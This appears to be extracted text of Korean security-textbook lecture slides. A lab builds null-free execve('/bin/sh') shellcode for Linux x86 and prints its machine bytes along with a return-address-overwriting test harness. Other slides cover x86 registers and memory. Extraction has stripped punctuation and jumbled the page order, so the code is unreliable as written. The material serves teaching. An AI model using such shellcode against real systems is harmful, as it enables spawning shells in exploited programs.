
실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 4: 80×86  시스템에 대한 이해

4108

80times86 시스템 CPU 의 구조

80times86 시스템 CPU 의 구조와 레지스터

5108

80times86 시스템 CPU 의 구조 연산장치

bull 연산 장치 (ALUArithmetic and Logic Unit) 는 CPU( 중앙 처리 장치 ) 의 핵심 부분 중

하나로 산술과 논리 연산을 수행하는 연산 회로 집합으로 구성

[ 표 2-2] 연산 장치의 구성 요소

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

가산기 (Adder) 덧셈 연산 수행

보수기 (Complementer)뺄셈 연산 수행 1 의 보수나 2 의 보수 방식 이용

시프터 (Shifter)비트를 오른쪽이나 왼쪽으로 이동하여 나눗셈과 곱셈 연산 수행

관련

레지

스터

누산기 (Accumulator) 연산의 중간 결과 저장

데이터 레지스터(Data Register)

연산에 사용할 데이터 저장

상태 레지스터 (Status Register)

연산 실행 결과로 나타나는 양수와 음수 자리올림 오버 플로우의 상태 기억

6108

80times86 시스템 CPU 의 구조 제어장치

bull 제어 장치 (Control Unit) 는 입력 출력 기억 연산 장치를 제어하고 감시 주기억

장치에 저장된 명령을 차례로 해독하여 연산 장치로 보내 처리되도록 지시

[ 표 2-3] 제어 장치의 구성 요소

레지스터bull 처리 중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

80times86 시스템 CPU 의 구조와 레지스터

구성 요소 기능

내부

장치

명령 해독기 (Instruction Decoder)명령 레지스터에 있는 명령을 해독하여 부호기로 전송

부호기 (Decoder)명령 해독기가 전송한 명령을 신호로 만들어 각 장치 전송

주소 해독기

(Address Decoder)

명령 레지스터에 있는 주소를 해독하여 메모리의 실제주소로 변환한 후 이를 데이터 레지스터에 저장

관련

레지

스터

프로그램 카운터 (Program Counter) 다음에 실행할 명령의 주소 저장

명령 (Instruction) 레지스터 현재 실행 중인 명령 저장

메모리 주소 (Memory Address) 레지스터 주기억 장치의 번지 저장

메모리 버퍼 (Memory Buffer) 레지스터 메모리 주소 레지스터에 저장된 주소의 실제 내용 저장

7108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

범용 레지스터 (General Register)

EAX 누산기 (Accmulator) 32주로 산술 연산에 사용 ( 함수의 결과 값 저장 )

EBX베이스 레지스터 (Base Register)

32특정 주소 저장 ( 주소 지정을 확대하기 위한 인덱스로 사용 )

ECX카운트 레지스터 (Count Register)

32반복적으로 실행되는 특정 명령에 사용( 루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억 )

EDX데이터 레지스터 (Data Register)

32 일반 자료 저장 ( 입출력 동작에 사용 )

세그먼트 레지스터 (Segment Register)

CS코드 세그먼트 레지스터 (Code Segment Register)

16실행될 기계 명령어가 저장된 메모리 주소

지정

DS데이터 세그먼트 레지스터 (Data Segment Register)

16프로그램에서 정의된 데이터 상수 작업 영역의 메모리 주소 지정

SS스택 세그먼트 레지스터 (Stack Segment Register)

16

프로그램이 임시로 저장해야 하는 데이터나 사용자의 피호출 서브 루틴(called subroutine) 이 사용할 데이터와 주소 저장

ES FS GS

엑스트라 세그먼트 레지스터 (Extra Segment Register)

16문자 연산과 추가 메모리 지정을 위해 사용되는 여분의 레지스터

8108

레지스터의 종류와 기능 [ 표 2-4] 레지스터의 종류와 용도

80times86 시스템 CPU 의 구조와 레지스터

범주80386

레지스터이름 비

트 용도

포인터 레지스터 (Pointer Register)

EBP베이스 포인터 (Base Pointer)

32SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용

ESP스택 포인터 (Stack Pointer)

32SS 레지스터와 함께 사용되며 스택의 가장 끝 주소를 가리킴

EIP명령 포인터 (Instruction Pointer)

32다음 명령어의 오프셋 (Offset 상대 위치 주소 ) 을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령의 주소 형성

인덱스 레지스터 (Index Register)

EDI목적지 인덱스 (Destination Index)

32 목적지 주소에 대한 값 저장

ESI출발지 인덱스 (Source Index)

32 출발지 주소에 대한 값 저장

플래그 레지스터 EFLAGS

플래그 레지스터 (Flag Register)

32연산 결과 및 시스템 상태와 관련된 여러 가지 플래그 값 저장

9108

레지스터의 종류와 기능 [ 표 2-5] 레지스터의 종류와 용도

범용 레지스터

80times86 시스템 CPU 의 구조와 레지스터

구분 맴핑 레지스터

연산

장치

관련

레지

스터

누산기 (Accumulator) EAX

데이터 레지스터 (Data Register) EDX

상태 레지스터 (Status Register) EFLAGS

제어

장치

관련

레지

스터

프로그램 카운터 (Program Counter) ECX

명령 레지스터 (Instruction Register) EIP

메모리 주소 레지스터 (Memory Address Register)

EBX EBP ESP EDI ESI 등

메모리 버퍼 레지스터 (Memory Buffer Register)

프로그램 실행과 관련한 데이터를 저장하는

레지스터로 RAM 의 역할을 한다

10108

레지스터의 종류와 기능 범용 레지스터

bull 연산 장치가 수행한 계산 결과의 임시 저장 산술 및 논리 연산 주소 색인 등의

목적으로 사용될 수 있는 레지스터 EAX EBX ECX EDX 등 bull EAX EBX ECX EDX 는 32 비트 레지스터로 앞의 E 는lsquo확장된 (Extended)rsquo 을 의미

이 레지스터의 오른쪽 16 비트를 각각 AX BX CX DX 라 부르고

이 부분은 다시 둘로 나뉜다 예를 들어 AX 는왼쪽 8 비트 상위 (high) 부분을 AH

오른쪽 8 비트 하위 (low) 부분을 AL 이라 한다

80times86 시스템 CPU 의 구조와 레지스터

11108

범용 레지스터bull EAX 레지스터 누산기 입출력과 대부분 산술 연산에 사용bull EBX 레지스터 DS 세그먼트에 대한 포인터를 주로 저장 ESI 나 EDI 와 결합하여 인덱스에 사용bull ECX 레지스터 루프가 반복되는 횟수를 제어하는 값 왼쪽이나 오른쪽으로 이동되는 비트 수 등을 포함bull EDX 레지스터 입출력 연산에 사용 큰 수의 곱셈과 나눗셈 연산에서 EAX와 함께 사용

80times86 시스템 CPU 의 구조와 레지스터

12108

세그먼트 레지스터 프로그램에 정의된 메모리상의 특정 영역

코드 데이터 스택 등을 포함

CS DS SS 3 개의 레지스터가 기본 ES FS GS 레지스터는 여분

bull CS 레지스터 기계 명령을 포함 코드세그먼트의 시작 주소를 가리킴

bull DS 레지스터 프로그램에 정의된 데이터 상수 작업 영역을 포함

데이터 세그먼트의 시작 주소를 가리킴

데이터의 오프셋을 DS 레지스터에 저장된 주소 값에 더해 데이터 세그먼트 내에 위치해 있는 데이터의 주소를 참조

bull SS 레지스터 실행 과정에서 필요한 데이터나 연산 결과 등을 임시로 저장하거나 삭제할 때 사용 스택 세그먼트의 시작 주소를 가리킨다

bull ES FS GS 레지스터 ES 레지스터는 추가로 사용된 데이터 세그먼트의 주소를 가리킴

FS 와 GS 레지스터도 목적은 이와 비슷 거의 사용되지 않음

80times86 시스템 CPU 의 구조와 레지스터

13108

포인트 레지스터 프로그램 실행 과정에서 사용되는 주요 메모리 주소값을 저장

EBP ESP EIP 가 있다

bull EBP 레지스터 스택 세그먼트에서 현재 호출되어 사용되는 함수의 시작 주소 값 저장

함수로 전달되는 지역변수 등을 참조할 때 기준 ESP 레지스터와 함께

사용되어 스택 프레임 (stack frame) 을 형성 실제 메모리상의 주소를 참조할 때

SS(Stack Segment) 레지스터와 함께 사용 bull ESP 레지스터 현재 스택 영역에서 가장 하위 주소를 저장 EBP 와 마찬가지로 실제

메모리상의 주소를 참조할 때 SS(Stack Segment) 레지스터와 함께 사용 bull EIP 레지스터 다음에 실행될 명령의 오프셋을 포함 CS(Code Segment) 레지스터와 함께

사용

인덱스 레지스터bull ESI amp EDI 메모리의 한 영역 (Souce) 에서 다른 영역 (Destination) 으로 데이터를

연속적으로 복사할 때 사용

80times86 시스템 CPU 의 구조와 레지스터

14108

플래그 레지스터 32 비트로 컴퓨터의 다양한 상태를 나타내는 비트 포함

상태 플래그 제어 플래그 시스템 플래그로 구성

bull 상태 플래그 산술 명령 (ADD SUB MUL DIV) 결과를 반영

- CF(Carry Flag 비트 0) 산술 연산 결과로 자리올림 자리내림 발생할 때 세트 (1)

- ZF(Zero Flag 비트 6) 산술 연산 결과 0 이면 세트 (1) 이외에는 클리어 (0)

- OF(Overflow Flag 비트 11) 부호가 있는 수의 오버플로우가 발생하거나

MSB(MostSignificant Bit) 가 변경되었을 때 세트

80times86 시스템 CPU 의 구조와 레지스터

15108

플래그 레지스터bull 제어 플래그 (Control Flag) 스트링 명령 (MOVS CMPS SCAS LODS STOS) 을 제

어 DF 가 1 이면 스트링 명령 자동 감소 0 이면 자동 증가 STDCLD 명령은 각각 DF 플래그를 세트 (1) 클리어 (0)bull 시스템 플래그 (System Flag) - TF(Trap Flag 비트 8) 디버깅 시lsquoSingle Step Modersquo 모드를 활성화하면 세트 - IF(Interrupt enable Flag 비트 9) 프로세서의 인터럽트 처리 여부를 제어 - IOPL(IO Privilege Level 비트 1213) 현재 실행되는 프로그램 태스크의 입출력 특권 레벨 지시 - NT(Nested Task flag 비트 14) 인터럽트되거나 호출된 태스크를 제어 - RF(Resume Flag 비트 16) 프로세서의 디버그 예외 반응을 제어 - VM(Virtual 8086 Mode flag 비트 17) V86 모드를 활성화하면 세트 - AC(Alignment Check 비트 18) 메모리 참조 시 정렬 기능을 활성화하면 세트 - VIF(Virtual Interrupt Flag 비트 19) VIP(Virtual Interrupt Pending 비트 20)

가상 모드 확장과 관련해 사용 - ID(IDentification 비트 21) CPUID 명령의 지원 유무를 결정

80times86 시스템 CPU 의 구조와 레지스터

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

